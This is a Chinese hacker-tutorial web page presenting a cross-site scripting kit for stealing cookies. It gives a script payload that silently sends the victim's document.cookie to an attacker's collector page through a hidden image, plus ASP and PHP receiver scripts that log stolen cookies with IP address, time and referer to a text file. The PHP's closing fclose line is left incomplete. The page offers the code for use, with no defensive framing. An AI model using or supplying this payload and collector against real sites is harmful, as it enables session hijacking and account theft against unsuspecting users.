手机
当前位置:查字典教程网 >网络安全 >黑客教程 >asp php XSS获取cookie的代码
asp php XSS获取cookie的代码
摘要:document.write('');news.asp代码:PHP版代码:

<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>

news.asp代码:

<%

msg=Request.ServerVariables("QUERY_STRING")

testfile=Server.MapPath("cook.txt")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.Writeline(""&msg& "")

thisfile.close

set fs = nothing

%>

PHP版代码:

<?php

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$time=date("j F, Y, g:i a");

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cook.txt', 'a');

fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '

.$time. '<br> Referer: '.$referer.'<br><br><br>');

fclose

?>

【asp php XSS获取cookie的代码】相关文章:

教你关于AJAX的注入(图)

有史以来最牛的服务器反黑全集

中小网站如何对付拒绝服务攻击

MYSQL数据库注射精华

批处理也疯狂

asp+js 偷取Cookies源代码

分析黑客使用Web进行攻击的10大原因

高效的DDoS攻击探测与分析工具:FastNetMon

怎样隔离ARP攻击源 电脑受到ARP断网攻击应对策略

分析cookies的注入方法和原理

精品推荐
分类导航